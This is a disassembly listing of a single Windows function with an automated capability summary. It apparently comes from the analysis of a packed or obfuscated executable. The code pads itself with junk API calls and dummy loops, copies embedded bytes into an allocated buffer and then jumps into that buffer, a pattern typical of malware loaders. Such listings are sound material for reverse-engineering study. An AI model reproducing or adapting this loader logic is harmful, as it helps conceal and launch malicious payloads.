Function at 0x402c30
Capabilities:
Get disk size
Get file attributes
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
cmp dword [0x4579a4], 0x400
push ebx
push esi
push edi
jne 0x402ca2
xor esi, esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
push esi
lea eax, [ebp - 0x41c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
push esi
call fcn.00403463
add esp, 4
push esi
push esi
call fcn.004033d4
push esi
push esi
push esi
call fcn.00403a7a
add esp, 0xc
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
sub esp, 8
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.004033c0
fstp st(0)
add esp, 0x10
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidth32A]
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x402cc4
call edi
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x207142
jg 0x402cd5
inc esi
cmp esi, 0x67d12
jl 0x402cb0
cmp dword [0x4579a4], 0x93
jne 0x402d35
xor ecx, ecx
lock bts dword [ecx], 0
push ecx
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
call fcn.00403982
add esp, 4
push 0
push 0
call fcn.004037a0
push 0
call fcn.00403766
add esp, 0xc
push 0
push 0
call fcn.00403795
call fcn.004032a7
push 0
call fcn.0040374f
add esp, 0xc
call fcn.00402c20
mov eax, dword [0x4579a4]
mov ecx, dword [0x44bdc4]
add eax, 0x1134b
push eax
push 0
mov dword [0x4587e0], ecx
mov dword [0x4579a4], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x457430], eax
call fcn.00402b60
mov esi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x402d68
cmp dword [0x4579a4], esi
jbe 0x402de7
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x402d90
mov edx, dword [0x4587e0]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x457430]
mov byte [ecx + esi], al
cmp dword [0x4579a4], 0x490
jne 0x402dde
push 0
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
push 0
call edi
push 0
call ebx
lea eax, [ebp - 8]
push eax
push 0
lea ecx, [ebp - 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
inc esi
cmp esi, dword [0x4579a4]
jb 0x402d90
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventA]
xor esi, esi
mov edx, dword [0x4579a4]
add edx, esi
cmp edx, 0x8d
jne 0x402e2c
push 0
lea eax, [ebp - 0x81c]
push eax
push 0
push 0
push 0
push 0
call edi
push 0
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x38681
jl 0x402df5
call fcn.00402a20
xor edi, edi
xor esi, esi
mov edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x402e5e
mov dword [ebp - 4], edi
add dword [ebp - 4], 0x113ed
mov edx, dword [ebp - 4]
add dword [0x457430], edx
inc esi
cmp esi, 0x674bd
jl 0x402e40
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [ebp - 4], 0x7b
cmp dword [0x4579a4], 0x86
jne 0x402eba
push 0
call esi
push 0
lea eax, [ebp - 0x41c]
push eax
push 0x4025b8
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
cmp dword [0x4579a4], 0xf
jne 0x402ecf
push 0
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub dword [ebp - 4], 1
jne 0x402e80
call fcn.004026c0
call dword [0x457430]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret